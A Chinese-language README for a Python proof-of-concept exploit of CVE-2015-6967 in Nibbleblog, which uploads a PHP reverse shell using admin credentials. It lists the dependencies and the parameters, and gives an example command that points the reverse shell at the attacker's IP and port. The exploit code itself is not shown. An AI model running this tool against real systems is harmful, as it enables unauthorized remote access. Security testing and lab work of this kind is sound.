CVE-2015-6967-EXPLOIT

CVE-2015-6967 PoC 漏洞利用工具

该 Python 脚本利用 Nibbleblog 中的一个漏洞（CVE-2015-6967），向目标上传一个反向 Shell。脚本会接收用户输入的目标 URL、用户凭证以及你的主机 IP/端口，然后通过上传一个 PHP 反向 Shell 来触发漏洞。

免责声明

本脚本仅用于教育目的。严禁将其用于非法活动。在测试或利用任何你不拥有或未获授权访问的系统上的漏洞之前，务必获得明确的许可。

依赖要求

• Python 3.x
• requests 库
• argparse 库
• colorama 库
• pyfiglet 库

你可以使用以下命令安装所需的依赖：

pip install requests colorama pyfiglet

用法

脚本运行需要以下几个参数：

• url：目标 Nibbleblog URL（例如 http://10.10.14.14/nibbleblog）
• -U, --user：Nibbleblog 管理员用户名
• -P, --password：Nibbleblog 管理员密码
• -p, --host-port：本地用于反向 Shell 连接的端口
• -H, --host-ip：本地用于反向 Shell 连接的 IP 地址

示例

python exploit.py http://10.10.14.14/nibbleblog -U admin -P password123 -p 4444 -H 192.168.1.100